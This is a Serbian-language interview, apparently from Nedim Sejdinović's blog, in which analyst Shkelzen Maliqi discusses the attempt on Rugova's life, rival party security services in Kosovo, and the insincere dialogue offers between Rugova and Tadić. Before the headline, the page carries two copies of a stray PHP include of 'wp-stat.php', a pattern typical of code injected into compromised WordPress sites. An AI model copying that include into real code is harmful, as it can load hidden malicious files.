@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); ŠKELJZEN MALIĆI, POLITIČKI ANALITIČAR IZ PRIŠTINE: Propagandni trikovi Rugove i Tadića – Nedim Sejdinović

ŠKELJZEN MALIĆI, POLITIČKI ANALITIČAR IZ PRIŠTINE: Propagandni trikovi Rugove i Tadića

«Pokušaj ubistva Ibrahima Rugove, koji se desio polovinom marta, otvorio je nova pitanja bezbednosti na Kosovu – više u centru pažnje nije bezbednost manjina već međualbanski konflikti. Unutar najmanje dve partije, Rugovine DSK i Tačijeve DPK, postojale su tzv. agencije za bezbednost koje su se pretvorile u prave stranačke tajne službe, koja se sada međusobno denunciraju i bore za prevlast. Kosovski parlament nije prihvatio inicijativu da se pokrene istraga o delovanju potpredsednika Vlade Kosova Adema Salihaja iz DSK i trojice ministara, njegovih stranačkih drugova, koji su optuženi od strane DPK da stoje iza organizacije `Sigurnost domovine`, koja opet navodno stoji iza nekih političkih ubistava i bombaškog napada na stranku `Ora` Vetona Suroija. Unutrašnju nestabilnost potencira i ubistvo brata bivšeg premijera Haradinaja», kaže na početku razgovora za «Građanski list» poznati prištinski intelektualac i politički analitičar Škeljzen Malići.

Postoje razna mišljenja o tome šta stoji iza eskalacije političkog nasilja na Kosovu, od toga da su u pitanju fingirani incidenti kojim Albanci pokušavaju da ostvare neke svoje političke ciljeve, pa do stava da iza svega stoji Beograd. Kakvo je vaše mišljenje?

– Mislim da je u pitanju lančana reakcija na čvrstu odluku predstavnika međunarodne zajednice da ukine delovanje raznih ilegalnih organizacija i formacija, kakve su i dve organizacije koje su delovale unutar stranaka, a kakvih na Kosovu ima još. Mnogi se boje da će zbog toga ostati bez važnog dela svoje moći, a odnos između tih ogranizacija sumnjivih namera i političara veoma je kompleksan. Odlučnost međunarodne zajednice potvrđuje i činjenica da su kosovska i UNMIK-ova policija pre nekoliko dana, u ponoć, upala u predsedništvo Kosova i tamo «raščistila stvar» i preuzela komandu. Rugova je napravio neku vrstu svoje paralelne policije, službe koju zapravo niko nije kontrolisao. Postoji opravdana sumnja da su neki od ljudi koji su u toj službi bili angažovani uključeni u neke mutne radnje, da ne kažem u organizovani kriminal, jer za to još uvek ne postoje dokazi. Bezbednost nad njim preuzela je kosovska policija po naređenju UNMIK-a, a naredba je sigurno stigla sa najviših instanci.

Adem Demaći tvrdi da su sva zbivanja posledica dvojnih kompetencija, odnosno nerešenog statusa Kosova. Slažete li se s njim?

– Ovo je na neki način otvaranje puta za definisanje statusa Kosova. Kompetencije na kosovske organe se polako prenose. Međutim, transfer vlasti nad organima bezbednosti nije moguć ukoliko se paralelne formacije, koje su do sada na neki način tolerisane, ne ukinu i potpuno društveno marginalizuju. Njihovo opstajanje bi bilo veoma opasno. Inače, što se više vlasti prenosi na domaće strukture, to paralelne formacije više dižu glavu i traže veću vlast. Pošto su u sprezi sa centrima ekonomske moći, sa biznisima i tenderima, postoji opasnost da se te strukture betoniraju. To međunarodna zajednica hoće da spreči po svaku cenu, a uzajamno denunciranje dve organizacije inostrani faktori i strane službe potpomažu informacijama koje plasiraju u medije. Međunarodna zajednica želi da spreči te ljude da u budućnosti budu na bilo kakav način uključeni u sistem bezbednosti, jer je svesna da sa njima nema bezbednosti.

Beograd iskazuje želju za pregovorima sa predstavnicima kosovske vlasti, pre svega sa predsednikom Kosova Rugovom. Nedavno je ponudu za razgovor ponovio i predsednik Srbije Boris Tadić, a Rugova ga je odbio bez obzira na stav međunarodne zajednice da je dijalog neophodan.

– Rugova već dugo ponavlja de je nezavisnost Kosova gotova stvar koju samo treba međunarodni faktor da potvrdi, te da nema nikakve potrebe za pregovorima sa Beogradom. Međutim, jedan od standarda koji nameće međunarodna zajednica upravo se tiče dijaloga sa Beogradom. U pitanju je, po mom mišljenju, samo Rugovino taktiziranje, i on će, kao i premijer Kosumi, dijalog prihvatiti onda kada ih pritisnu međunarodni faktori. Dijalog bi trebao da se vodi o praktičnim stvarima, dok dijalog o konačnom statusu treba da počne kasnije. Mislim, dakle, da je u pitanju propagandni Rugovin trik, kao što mislim da ni pozivi sa beogradske strane nisu iskreni, da je u pitanju takođe propagandni pokušaj, a ne ozbiljan poziv na razgovor.

Mislite, dakle, da je još rano za razgovor o konačnom statusu?

– Još nije sazrelo za taj razgovor, pre svega zbog toga što će međunarodna komisija na Kosovu tek ocenjivati u kojoj su meri ispunjeni zadati standardi. Posle toga će se napraviti platforma koja može poslužiti i za početak pregovora, mada se još ne zna na koji će način međuanrodna zajednica rešavati finalni status Kosova, da li će biti održana nekakva konferencija ili će u pitanju biti ad hoc odluka.

Koliko zbivanja u na srpskoj političkoj sceni, napisi u beogradskim medijima o Kosovu, imaju uticaj na kosovski politički život?

– U suštini, imaju veoma mali uticaj. Ovde se uglavnom ne prati šta se dešava u Beogradu. Albanci više ne smatraju Srbiju faktorom koji može da utiče na njihov svakodnevni život. Ipak, kada se desi uspon radikalnih političara na izborima, kada se desi slučaj kao ovaj aktuelni sa Svilanovićem, te stvari svakako imaju svoj uticaj i na ovdašnju političku scenu. No, ipak im mišljenje Beograda nije važno jer očekuju da će probleme rešiti međunarodna zajednica.

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.